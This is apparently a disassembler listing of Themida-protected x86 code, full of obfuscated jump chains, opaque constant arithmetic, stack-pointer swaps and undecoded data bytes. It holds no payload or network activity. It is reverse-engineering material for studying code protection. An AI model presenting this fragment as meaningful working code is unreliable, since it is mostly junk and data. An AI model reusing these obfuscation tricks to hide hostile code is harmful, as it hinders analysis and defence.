loc_54D2EB:				; CODE XREF: Themida_:00551B3Bj
		mov	ebx, 5EF40FB1h
		jmp	loc_54A1EA
; ---------------------------------------------------------------------------
		db 68h,	78h, 5Fh
		dd 15E90000h, 58FFFFDAh, 0FFEF36E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D305:				; CODE XREF: Themida_:00546581j
		mov	eax, 1D400D0Fh
		or	eax, 36572F9Dh
		or	eax, 47B601CCh
		jmp	loc_54FFA1
; ---------------------------------------------------------------------------
		db 56h,	68h, 4Ah
		dd 8B381B2Dh, 6AE92434h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D327:				; CODE XREF: Themida_:00551802j
		add	ebx, 5BCB2834h
		shr	ebx, 2
		push	ebx
		jmp	loc_54AC40
; ---------------------------------------------------------------------------

loc_54D336:				; CODE XREF: Themida_:0054DE70j
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		jmp	loc_54E424
; ---------------------------------------------------------------------------
		dw 55Ch
		dd 4, 3302C083h, 4312404h, 24043324h, 6624248Bh, 56C8BE0Fh
		dd 0C681E689h, 4, 4EE81h, 34870000h, 0C895C24h,	4D19E924h
		dd 14290000h, 24148B24h, 4C481h, 8AE90000h
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D38F:				; CODE XREF: Themida_:00546AE4j
		pop	esp
		push	esi
		jmp	loc_546E24
; ---------------------------------------------------------------------------
		dw 0CA81h
		dd 76F36B47h, 0E4C9F281h, 5DE9ED94h, 3500001Ch,	423B197Bh
		dd 2BF40540h, 880548C2h, 0E958BB6Ah, 20B5h, 0B850E689h
		dd 7E873C01h, 0FFB807E9h, 0EAE951FFh, 29FFFFCBh, 2CD0E9EEh
		dd 5660000h, 665B68BAh,	0B70FC331h, 4C6E68C0h, 1C890000h
		dd 4C7FE924h, 0FC680000h, 5F77671Dh, 42BB53h, 0D3F72DBEh
		dd 2583BE56h, 0F3292399h, 0F381435Eh, 0D9CFE7C7h, 815BDF31h
		dd 4ECh, 241C8900h, 0ADADE957h,	487FFFFh, 24248B24h, 9C240429h
		dd 0FF8967E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D42D:				; CODE XREF: Themida_:005509D5j
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		and	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_54CA47
; ---------------------------------------------------------------------------

loc_54D455:				; CODE XREF: Themida_:00548663j
		pop	dword ptr [esp]
		jmp	loc_5478D7
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 8B240C87h, 0E9522424h, 39D9h
; ---------------------------------------------------------------------------

loc_54D46C:				; CODE XREF: Themida_:00550EE7j
		push	254Dh
		mov	[esp], ebx
		jmp	loc_54E62F
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 4
		dd 57000000h, 0FF9021E9h, 0EB8059FFh, 0E9D300E9h, 0FFFFC573h
		dd 2434875Bh, 5324248Bh, 0D24E9h, 0F7815A00h, 7C8F7EF3h
		dd 498E9h
		db 0
; ---------------------------------------------------------------------------

loc_54D4A9:				; CODE XREF: Themida_:005464DDj
		push	esi
		pop	eax
		jmp	loc_54E940
; ---------------------------------------------------------------------------
		dd 0A34E0605h, 0F53EE97Ch, 0EC80FFFFh, 8ECC02Dh, 0D5F6EC86h
		dd 0E952EC86h, 94Bh, 52E52CACh,	3C52E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54D4D6:				; CODE XREF: Themida_:0054CB38j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_54C600
; ---------------------------------------------------------------------------
		db 48h,	0C1h, 0E0h
		dd 0B772D07h, 0D8F738B6h, 45E1E9h, 0CEE78000h, 0A6EF80h
		dd 241C8BFAh, 4C481h, 0D0300000h, 24148B66h, 2C481h, 4CE90000h
		dd 52FFFFC2h, 6C9A68h, 243C8900h, 0A3AC6BFh, 5FF2BA05h
		dd 0FA29050Ch, 344055Fh, 0D029799Ah, 9A03442Dh,	0EA815A79h
		dd 752727E3h, 0C281C229h, 752727E3h, 0D31E958h,	0F6810000h
		dd 429B2702h, 31E9F101h, 58FFFFB3h, 808AB450h, 0EC831DECh
		dd 24148904h, 0F28029B2h, 6EAC05Eh, 0FF8916E9h,	0E9505EFFh
		dd 0FFFF9984h, 205h, 61B06800h,	4890000h, 0C9E5E924h, 0DAF7FFFFh
		dd 8103E2C1h, 96D337F2h, 5AD3012Dh, 5219B951h, 0CB015666h
		dd 4EC8159h, 89000000h,	25BD242Ch, 0E9444B01h, 633h, 462CD000h
		dd 3037045Ah, 0D80058C3h, 24148B5Bh, 4C481h, 0E9500000h
		dd 1C03h, 8324148Bh, 0B5E904C4h, 57FFFF87h, 884E04BFh
		dd 0E9DFF714h, 31FAh, 0B5240C89h, 1DED809Ch, 448968h, 24148900h
		dd 51E88850h, 3A07E9h, 59CA8900h, 2251E956h, 0C890000h
		dd 2B924h, 0E8E90000h, 8B00000Bh, 0C483240Ch, 58685504h
		dd 89000010h, 4812424h,	424h, 242C8B00h, 4C481h, 0C5810000h
		dd 4, 0FF8804E9h, 6C0325FFh, 0E0C13227h, 0B9514005h, 73483DB0h
		dd 0C149D1F7h, 0F18107E9h, 0ABB716EAh, 159C801h, 0FA2958C7h
		dd 58EF815Fh, 0E9720A56h, 33A8h, 8124348Bh, 4C4h, 0D7295D00h
		dd 5A2434FFh, 4C481h, 0F9310000h, 8952555Fh, 0F4A7E9E2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D696:				; CODE XREF: Themida_:00550A5Fj
		xor	edx, 79B94E87h
		jmp	loc_54E2C0
; ---------------------------------------------------------------------------

loc_54D6A1:				; CODE XREF: Themida_:00547AF4j
		push	573A0F70h
		pop	ebx
		and	ebx, 7A756F9Fh
		and	ebx, 719F1450h
		add	ebx, 0EF983C81h
		mov	edi, ebx
		mov	ebx, [esp]
		jmp	loc_551B34
; ---------------------------------------------------------------------------
		db 57h
		dd 0FFC303E9h, 0D1295AFFh, 0E9C8295Ah, 0FFFFEC03h, 0E9E78957h
		dd 0FFFFABD2h, 8104C483h, 781D8DEFh, 45E78156h,	0F71B2768h
		dd 462EE9DFh, 0F3010000h, 0B6F3815Eh, 0E9EEB529h, 4406h
		dd 0E924248Bh, 0FFFF9ECCh, 0F702E5C1h, 0F032E9D5h, 0EC83FFFFh
		dd 243C8904h, 0FFFCD1E9h, 81EF01FFh, 0CC7D71C7h, 20EF8107h
		dd 5D7B1D7Ch, 31243C33h, 3C33243Ch, 24248B24h, 2BA7E9h
		dd 815F5400h, 4C7h, 4C78100h, 87000000h, 505C243Ch, 5C7D68h
		dd 24348900h, 27780D68h, 0BF575E61h, 70D15F92h,	0DBF9C781h
		dd 11E9C5D3h, 43000004h, 14CEE381h, 0E9522E9Ah,	0FFFF93EBh
		dd 783E951h, 68580000h,	7B86h, 0FF241C89h, 0E9042474h
		dd 0FFFFDF32h
; ---------------------------------------------------------------------------

loc_54D794:				; CODE XREF: Themida_:0054925Ej
		push	esi
		push	ebp
		push	78DF6DC4h
		pop	ebp
		jmp	loc_54B3BA
; ---------------------------------------------------------------------------
		db 29h,	0C8h, 59h
		dd 0E904EC83h, 4Fh
; ---------------------------------------------------------------------------

loc_54D7AC:				; CODE XREF: Themida_:0054FF7Cj
		push	dword ptr [esp]
		jmp	loc_546AD8
; ---------------------------------------------------------------------------

loc_54D7B4:				; CODE XREF: Themida_:0054BA5Ej
		mov	ebp, 57590B0Dh
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		mov	esi, 601F1647h
		mov	ebx, esi
		pop	esi
		xor	ebx, 6C6105FDh
		push	edx
		mov	edx, 0A4D8EF49h
		xor	ebx, edx
		pop	edx
		add	ebp, ebx
		pop	ebx
		jmp	loc_5482EB
; ---------------------------------------------------------------------------

loc_54D7DF:				; CODE XREF: Themida_:00546314j
		sub	eax, 23623BD1h
		push	ebp
		mov	ebp, 1FA5017Ch
		add	eax, ebp
		pop	ebp
		or	ebp, eax
		pop	eax
		push	eax
		push	35505B1Bh
		jmp	loc_54B4FE
; ---------------------------------------------------------------------------
		db 89h
		dd 0E789243Ch, 4BE56h, 0EF810000h, 12D11BE1h, 36E9F701h
		dd 0FFFFFFB2h, 52582434h, 0BD55E289h, 25704C97h, 10AED81h
		dd 0ED812874h, 0FCFC4B89h, 0FFE8FBE9h, 5BDF31FFh, 0EF814747h
		dd 51AD137Dh, 0E904EC83h, 0FFFFF069h, 2953C381h, 595301ADh
		dd 52E1815Bh, 81665B39h, 5F396AE9h, 0B5F18133h,	294FDEDCh
		dd 515859CEh, 8DB68h, 24048900h, 0E950F089h, 0FFFFF9F4h
; ---------------------------------------------------------------------------

loc_54D874:				; CODE XREF: Themida_:00548421j
		mov	dh, 46h
		add	bh, 51h
		push	eax
		mov	ah, 0E7h
		push	bx
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 7Dh
		mov	bl, dl
		pop	edx
		sub	ah, bl
		pop	bx
		sub	ah, 87h
		add	bh, ah
		jmp	loc_54F2F0
; ---------------------------------------------------------------------------

loc_54D897:				; CODE XREF: Themida_:00549D81j
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_545D94
; ---------------------------------------------------------------------------
		dd 0C05BDE30h, 0D6F607EEh, 2FE9CEFEh, 81FFFFA7h, 0F12E9BEFh
		dd 0E0CDE919h, 895CFFFFh, 0E389241Ch, 0B13BE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D8D6:				; CODE XREF: Themida_:0054608Ej
		pop	esi
		add	eax, edx
		mov	ecx, [eax]
		push	dword ptr [esp]
		jmp	loc_550D73
; ---------------------------------------------------------------------------
		db 0F7h
aSa		db 'Ùé ',0
		align 2
		dw 0C283h
		dd 24148704h, 34FF535Ch, 0C06E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54D8FA:				; CODE XREF: Themida_:0054C6BFj
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	eax
		pop	dword ptr [edi+24h]
		push	dword ptr [esp]
		jmp	loc_54A236
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E95305EBh, 26C5h
; ---------------------------------------------------------------------------

loc_54D914:				; CODE XREF: Themida_:00551989j
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		push	dword ptr [esp]
		jmp	loc_551E4E
; ---------------------------------------------------------------------------

loc_54D92B:				; CODE XREF: Themida_:00545FA7j
		mov	ebx, 85C89409h
		sub	ebx, edx
		pop	edx
		jmp	loc_54B415
; ---------------------------------------------------------------------------
		dd 56240C89h, 0FFCC0CE9h, 5FFD01FFh, 15A068h, 31F9E900h
		dd 0C5830000h, 74FF5504h, 8F5D0424h, 815C2404h,	4ECh, 0CDCFE900h
		dd 0C281FFFFh, 72322B05h, 1FF4E9h
		db 0
; ---------------------------------------------------------------------------

loc_54D971:				; CODE XREF: Themida_:0054F598j
		xchg	edx, [esp]
		mov	esp, [esp]
		shl	esi, 6
		sub	esi, 835C7D80h
		jmp	loc_549B40
; ---------------------------------------------------------------------------
aAuhh		db '¶×€îhh|',1Bh,0
		dw 8900h
		dd 0B252240Ch, 83B652F6h, 0E95AF188h, 0FFFF9ADEh, 0BB241C89h
		dd 502D7295h, 4B8AC381h, 0BDE972EBh, 5B000040h,	0FFB1A5E9h
		dd 0A9E950FFh, 0FFFFFFD2h, 81592434h, 4C4h, 41506800h
		dd 1C890000h, 9EE7E924h, 0EE81FFFFh, 3A4E1C30h,	62066858h
		dd 0F7E90000h, 5700003Dh, 0FF8D4FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D9ED:				; CODE XREF: Themida_:0054E339j
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_549132
; ---------------------------------------------------------------------------
a9s		db '¶9é>%',0
		align 2
		dw 487h
		dd 30FF5C24h, 0FF8387E9h, 2434FFFFh, 4C4815Ah, 0C1000000h
		dd 0C83108E8h, 4EC81h, 4890000h, 46ECE924h, 0C4830000h
		dd 0C0B60F04h, 0FFCF5DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54DA35:				; CODE XREF: Themida_:0054EA68j
		sub	esp, 2
		mov	[esp], ax
		mov	ah, 0A3h
		add	bl, ah
		mov	ax, [esp]
		add	esp, 2
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_545D94
; ---------------------------------------------------------------------------
		dw 5453h
		dd 0E955E95Bh, 0FF5AFFFFh, 48B2434h, 4C48124h, 68000000h
		dd 5C5Bh, 83241C89h, 46E904ECh,	8100000Dh, 497835C2h, 0EA8BE91Ch
		dd 0E957FFFFh, 0FFFFFCB1h, 0E924148Bh, 0FFFF8BA8h
; ---------------------------------------------------------------------------

loc_54DA94:				; CODE XREF: Themida_:0054BB37j
		push	dword ptr [esp]
		jmp	loc_54636A
; ---------------------------------------------------------------------------
		dd 70168h, 24048900h, 0FF2414F7h, 52582434h, 0BE56E289h
		dd 408C35CEh, 3D08F681h, 0DA6814B1h, 8900001Ch,	14F72434h
		dd 0F6815E24h, 12ED3376h, 0C44BF681h, 0C281B92Fh, 3EFB6F90h
		dd 0EA81F201h, 3EFB6F90h, 8324348Bh, 0A9E904C4h, 87FFFFF0h
		dd 535C240Ch, 241C8B54h, 0FFD49CE9h, 8E95FFFh, 8B00003Dh
		dd 4FE2424h, 89E99C24h
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DB0B:				; CODE XREF: Themida_:0054E63Bj
		dec	ebx
		inc	ebx
		shl	ebx, 6
		xor	ebx, 0EAC5F020h
		jmp	loc_545DA3
; ---------------------------------------------------------------------------
		db 33h
		dd 3C31243Ch, 243C3324h, 3824248Bh, 65E99CC1h, 0ADFFFF82h
		dd 0F968D831h, 8900005Bh, 5752242Ch, 0B17DE951h, 0F801FFFFh
		dd 6E482C05h, 47095F32h, 24048B1Ch, 5BE95453h, 80FFFF9Ch
		dd 0E800ADC5h, 592434FFh, 0FFB689E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54DB65:				; CODE XREF: Themida_:0054C97Ej
		mov	edx, [esp]
		add	esp, 4
		pop	ecx
		pop	esi

loc_54DB70:				; CODE XREF: Themida_:0054ADC4j
		push	ebx
		push	1217h
		jmp	loc_5512AE
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF8214h, 0CEE9FE09h, 0BBFFFFBAh, 36BA3C80h, 0FFE4B2E9h
		dd 2474FFFFh, 48F5B04h,	0F5E95C24h, 0B8FFFF81h,	63243EE1h
		dd 0ED19C925h, 0E9D8F729h, 0FFFFD6FEh, 0E924248Bh, 0FFFFD16Bh
		dd 15DE829h, 7A7A05D8h,	0DF2D11C8h, 2D1AD875h, 24EF5C67h
		dd 4EC81h, 2C890000h, 1593BD24h, 0E80117C1h, 0C6C8E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DBE2:				; CODE XREF: Themida_:00546AAEj
		shl	edx, 1
		push	ebp
		push	edx
		jmp	loc_54EC18
; ---------------------------------------------------------------------------
a1is4		db '1ëé+4',0
		align 2
		dw 0D1F7h
		dd 0E9C1D1F7h, 6E1C104h, 0BCEBE981h, 61E9ACE9h
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54DC07:				; CODE XREF: Themida_:00549D01j
		dec	ecx
		neg	ecx
		not	ecx
		sub	ecx, 11F63B2Dh
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		push	edi
		push	edx
		push	53B9409Ah
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54E130
; ---------------------------------------------------------------------------
		db 28h
		dd 48B66E3h, 2C48124h, 80000000h, 58D9EBh, 0FB3AE9C3h
		dd 4DE9FFFFh
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DC47:				; CODE XREF: Themida_:0054BCF1j
		mov	eax, esp
		add	eax, 4
		push	edi
		jmp	loc_5502D4
; ---------------------------------------------------------------------------
		dd 240C8B66h, 0C8B5451h, 4C48124h, 0E9000000h, 31B0h, 92E9F586h
		dd 5900002Dh, 4C481h, 41B10000h, 0C180D9F6h, 0F6D9F602h
		dd 80D9F6D9h, 0F13090F1h, 66C8305Ah, 55240C8Bh,	10E95D54h
		dd 31FFFF93h, 2755E9D3h, 0EF830000h, 243C8704h,	8924248Bh
		dd 0E2892414h, 5EFCBE56h, 0C68167ADh, 9852A108h, 0FFBB70E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54DCBD:				; CODE XREF: Themida_:0054DD13j
		pop	edi
		sub	edi, edx
		pop	edx
		pop	ebp
		jmp	loc_547693
; ---------------------------------------------------------------------------
		db 0BAh
		dd 175A55E4h, 31C2ED81h, 3AE919D8h, 0FF00002Ch,	57592434h
		dd 0D4E9E789h, 5100003Eh, 0D0E9E189h
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------

loc_54DCEB:				; CODE XREF: Themida_:00550849j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5471AE
; ---------------------------------------------------------------------------

loc_54DD0E:				; CODE XREF: Themida_:0054A1F0j
		mov	edx, ebx
		pop	ebx
		xor	edx, edi
		jmp	loc_54DCBD
; ---------------------------------------------------------------------------
		dd 0AEE9EA00h, 59000017h, 6EF1685Ah, 1C890000h,	2434FF24h
		dd 1E906858h, 1C890000h, 878CE924h, 0BB53FFFFh,	20982FC1h
		dd 5055EB81h, 0EBC1164Eh, 0C9BD5507h, 21333914h, 0D3F75DEBh
		dd 15586843h, 34890000h, 7BBB5324h, 0BE77B21Dh,	99D95362h
		dd 6C5CC681h, 0DE297A65h, 0FFE41FE9h, 0D6F659FFh, 0E680D6F6h
		dd 0FDB35348h, 0CAE9DE00h, 81FFFFB5h, 0EF54E6C3h, 0D4EB814Ch
		dd 1609C6Fh, 0D4C381D3h, 81609C6Fh, 0EF54E6EBh,	0E9535A4Ch
		dd 0FFFFFDE9h, 5D3F685Fh, 0E90000h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54DDB3:				; CODE XREF: Themida_:00548998j
		mov	edi, 37794A09h
		and	esi, edi
		pop	edi
		xor	esi, 21C27E16h
		or	edi, esi
		pop	esi
		not	edi
		xor	edi, 5D1520CAh
		add	edi, 6BA24BD3h
		add	edi, 0BD4C8B52h
		mov	ebx, edi
		mov	edi, [esp]
		push	edi
		jmp	loc_54F3C2
; ---------------------------------------------------------------------------
aVsz?		db 'V�',0
		dd 0EC815A00h, 4, 68241489h, 8594CBBAh,	0FFF8CCE9h, 44E68FFh
		dd 14890000h, 2474FF24h, 24148B04h, 4C481h, 0E6E90000h
		dd 0B6FFFFEDh, 4263E94Dh, 0DABA0000h, 81550517h, 0C90F2CF2h
		dd 14F7520Dh, 0E2C15A24h, 0F560E905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DE36:				; CODE XREF: Themida_:0054E43Cj
		push	ecx
		mov	ecx, 346B4947h
		jmp	loc_54C597
; ---------------------------------------------------------------------------

loc_54DE41:				; CODE XREF: Themida_:0054E693j
		mov	[esp], eax
		mov	eax, 3156435Ah
		push	eax
		neg	dword ptr [esp]
		pop	eax
		not	eax
		xor	eax, 3B516EADh
		add	eax, 0F5F8D210h
		sub	edx, 2DB3D12h
		add	edx, eax
		add	edx, 2DB3D12h
		pop	eax
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54D336
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 23h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DE7B:				; CODE XREF: Themida_:00547CA1j
		push	3984h
		mov	[esp], ebx
		jmp	loc_550F44
; ---------------------------------------------------------------------------
		dd 8704E983h, 895C240Ch, 0E952241Ch, 0FFFFC32Fh, 19AEE957h
		dd 8F540000h, 4812404h,	424h, 68505E00h, 4, 19C68158h
		dd 0E94A3756h, 0FFFFCB03h, 5C243C87h, 24148966h, 0E99C5066h
		dd 0FFFFCD7Dh, 4EC8351h, 83242489h, 8B042404h, 0C483240Ch
		dd 0BD555604h, 7D2901EFh, 1AE5C581h, 0EE89B2ECh, 83D6F75Dh
		dd 0A3E9FFC6h
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DEF7:				; CODE XREF: Themida_:0054A496j
		pop	edi
		xor	edi, 0AC6DB65h
		mov	edx, edi
		jmp	loc_547CA6
; ---------------------------------------------------------------------------
		db 0B1h, 27h, 0F6h
		dd 8C9DE9D1h, 0C8BFFFFh, 0E61AE924h, 2D66FFFFh,	5665FC2h
		dd 66517382h, 6615A6B9h, 6605E1C1h, 4FF6651h, 855BE924h
		dd 0EC81FFFFh, 4, 89243C89h, 0AB4E9E7h,	0EC800000h, 58E78870h
		dd 0E95EC780h, 0FFFFB60Ah
; ---------------------------------------------------------------------------

loc_54DF50:				; CODE XREF: Themida_:0054E8B2j
		mov	esp, [esp]
		jmp	loc_54E236
; ---------------------------------------------------------------------------
		dd 4C581h, 2C870000h, 0AF2D5C24h, 118D97Eh, 7EAF05D0h
		dd 535A18D9h, 0DE685051h, 8B342402h, 89502404h,	405E0h
		dd 4050000h, 87000000h,	0E95C2404h, 0FFFF9C37h,	462FF9B8h
		dd 5E0C15Dh, 8E0DE948h,	15EFFFFh, 7CE958C1h, 59FFFFA9h
		dd 1C8B5E53h, 4C48324h,	335EF301h, 1C31241Ch, 241C3324h
		dd 0B60F665Ch, 6E6866C8h, 0C896630h, 7DC6E924h,	34FFFFFFh
		dd 24048187h, 444C1FE0h, 582434FFh, 0FF9D65E9h,	4FDFF7FFh
		dd 3E7DEF81h, 0D2E93FD0h, 1FFFFB1h, 0C688E9F9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DFF6:				; CODE XREF: Themida_:00546534j
		mov	[esp], ebp
		push	ebx
		mov	ebx, 45DD534Dh
		mov	ebp, 45DD5351h
		sub	ebp, 0B887DB9h
		sub	ebp, ebx
		push	eax
		push	edi
		mov	edi, 0B887DB9h
		mov	eax, edi
		jmp	loc_5509BD
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0FFC83024h, 81592434h, 4C4h,	0CCB45000h, 0ECC0CCFEh
		dd 86C4FE06h, 86D7F6FCh, 0C7C480FCh, 0BE9E328h,	0C1FFFFE2h
		dd 2FE908E8h, 31FFFFA9h, 0FA4AE9C8h, 0EF80FFFFh, 53CF809Eh
		dd 0AEEF80h, 0D8005BF8h, 0E044E951h, 0EC81FFFFh, 4, 89241489h
		dd 0DA36E9E2h, 0E9C1FFFFh, 0F0E98105h, 0E97E913Ch, 1D72h
		dd 18A2EA81h, 0C20155F5h, 0FF8516E9h, 8B5A50FFh, 0C4812404h
		dd 4, 4A06EAC1h, 3A89BB53h, 0C28165E2h,	651C03E9h, 3991E9h
		dd 81E18900h, 4C1h, 2C18100h, 87000000h, 665C240Ch, 7CCAE95Fh
		dd 0D8BBFFFFh, 8100AC42h, 710CB0EBh, 63EB811Eh,	813B7A5Dh
		dd 0A627E2F3h, 57F38162h, 0C149885Ah, 0C38104EBh, 1F741774h
		dd 555BDE89h, 5301C7BDh, 5DEE2928h, 0E95EF001h,	8B5h
; ---------------------------------------------------------------------------

loc_54E104:				; CODE XREF: Themida_:0054975Ej
		inc	esi
		sub	esi, 18261433h
		and	esi, 5CC72D8Dh
		not	esi
		add	esi, 0CC92A5F8h
		sub	edi, 723C7103h
		add	edi, esi
		add	edi, 723C7103h
		pop	esi
		and	eax, edi
		pop	edi
		jmp	loc_54D2E0
; ---------------------------------------------------------------------------

loc_54E130:				; CODE XREF: Themida_:0054DC26j
		xchg	ebp, edx
		not	ebp
		xchg	ebp, edx
		sub	edx, 3050605Bh
		push	edx
		jmp	loc_54A004
; ---------------------------------------------------------------------------
		dw 8766h
		dd 0BB6653F1h, 0ABE96F32h, 89FFFFEFh, 4C681E6h,	83000000h
		dd 348704C6h, 24248B24h, 112FE9h, 5FFA0100h, 0C988E950h
		dd 0E2C1FFFFh, 0C2814A03h, 78B04D0Fh, 0FFE26FE9h, 8036B2FFh
		dd 0E95303E2h, 11CAh, 15E9ABB0h, 52FFFF7Dh, 0D689DA89h
		dd 0FFEF57E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E199:				; CODE XREF: Themida_:0054F538j
		push	ecx
		push	23BAh
		mov	[esp], ebp
		mov	ebp, 536006C4h
		add	ebp, 0AC9FF960h
		jmp	loc_545D9C
; ---------------------------------------------------------------------------

loc_54E1B2:				; CODE XREF: Themida_:0054A1B2j
		sub	cl, 0D4h
		mov	dl, cl
		pop	ecx
		add	al, 20h
		sub	al, dl
		jmp	loc_550E99
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 81h
		dd 4C3h, 0BF0EE900h, 3C87FFFFh,	34895C24h, 8FA2E924h, 48BFFFFh
		dd 0F27BE924h, 3C87FFFFh, 0F9E95C24h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54E1EB:				; CODE XREF: Themida_:00551E77j
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_548662
; ---------------------------------------------------------------------------
		db 56h
		dd 9066A68h, 45E95E3Eh,	56FFFF83h, 0F289CE89h, 0D101595Eh
		dd 74FF515Ah, 8F590424h, 0E95C2404h, 0FFFFEF70h, 84EF8147h
		dd 0E9029A1Ah, 0FFFF7C2Bh, 3DF868h, 241C8900h, 878FE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E236:				; CODE XREF: Themida_:0054DF53j
		shl	edx, 6
		push	eax
		jmp	loc_54A3DB
; ---------------------------------------------------------------------------
		db 29h
		dd 82A7E9C8h, 3C8BFFFFh, 4C48124h, 81000000h, 4C7h, 0DD6E900h
		dd 48B0000h, 0B84EE924h, 0F229FFFFh, 45B8505Eh,	4027611Ah
		dd 2B1FE9h, 242C8700h, 3B24248Bh, 15E99CC8h, 0E9FFFF7Bh
		dd 0FFFF7B10h, 240C8B66h, 4EC8155h, 89000000h, 4832424h
		dd 0A0E90424h, 83FFFFB9h, 2C8904ECh, 9A45E924h,	815EFFFFh
		dd 516AB0EBh, 24348B76h, 104C483h, 4BBA52C3h, 0E97E4628h
		dd 0FFFFB8BBh
; ---------------------------------------------------------------------------

loc_54E2C0:				; CODE XREF: Themida_:0054D69Cj
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_54F229
; ---------------------------------------------------------------------------
		dd 66E8005Bh, 2CD00059h, 2434FF96h, 0E289525Ah,	3C3EE9h
		dd 48B6600h, 4A046824h,	1C890000h, 0BDFAE924h, 74FFFFFFh
		dd 34FF0424h, 24048B24h, 0E904C483h, 0FFFF8386h, 1B9268h
		dd 24048900h, 4B8h, 0E9C10100h,	0FFFFFEBAh
; ---------------------------------------------------------------------------

loc_54E320:				; CODE XREF: Themida_:00545EC0j
		mov	esi, 629C0865h
		xor	[esp+4], esi
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		jmp	loc_54D9ED
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 0D457A807h, 555FFB01h, 0EA89DD89h, 2DBCE95Dh, 4330000h
		dd 2CCBE924h, 2C5C0000h, 2216683Ah, 14890000h, 5DB05024h
		dd 0E951C834h, 0EDDh, 8F665966h, 31662404h, 0CF3166F9h
		dd 66F93166h, 4876657h,	66506624h, 662414F7h, 4876658h
		dd 3C8B6624h, 2C48124h,	66000000h, 3166F931h, 0F93166CFh
		dd 6602EC83h, 66240C89h, 22474FFh, 8F665966h, 0D9E92404h
		dd 81FFFF79h, 4C1h, 4C18100h, 87000000h, 875C240Ch, 248B2434h
		dd 0E2EEE924h, 0C381FFFFh, 4, 4EC81h, 3C890000h, 0D1B95124h
		dd 816C783Ch, 297687C9h, 0D5E9811Bh, 0E97F797Eh, 502h
; ---------------------------------------------------------------------------

loc_54E3FC:				; CODE XREF: Themida_:0055098Dj
		pop	esp
		pop	ebx
		jmp	loc_548BE3
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0E9240487h, 0FFFFD070h, 0B8h, 51C80100h, 0B9h, 1C10100h
		dd 0E9585911h, 0FFFFF8FBh
; ---------------------------------------------------------------------------

loc_54E424:				; CODE XREF: Themida_:0054D345j
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_548E52
; ---------------------------------------------------------------------------
		db 0B1h
		dd 0C8E980AEh, 1DE9A02Ch
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E43B:				; CODE XREF: Themida_:0054A00Bj
		pop	edi
		jmp	loc_54DE36
; ---------------------------------------------------------------------------
		db 0E9h, 4Eh, 79h
		dd 34FFFFFFh, 0C4815F24h, 4, 8B246F01h,	6852242Ch, 1DA6h
		dd 0FFABF2E9h, 243C89FFh, 6C308468h, 0B8505F03h, 50503647h
		dd 0FFF070E9h, 245429FFh, 34FF5A04h, 57E95B24h,	81000019h
		dd 4C4h, 59C82000h, 3C8B5457h, 5F545724h, 4C781h, 0C7810000h
		dd 4, 5C243C87h, 768F68h, 241C8900h, 0FB6C13BBh, 869BE934h
		dd 0FB01FFFFh, 404EEB81h, 875F44BFh, 5E9241Ch
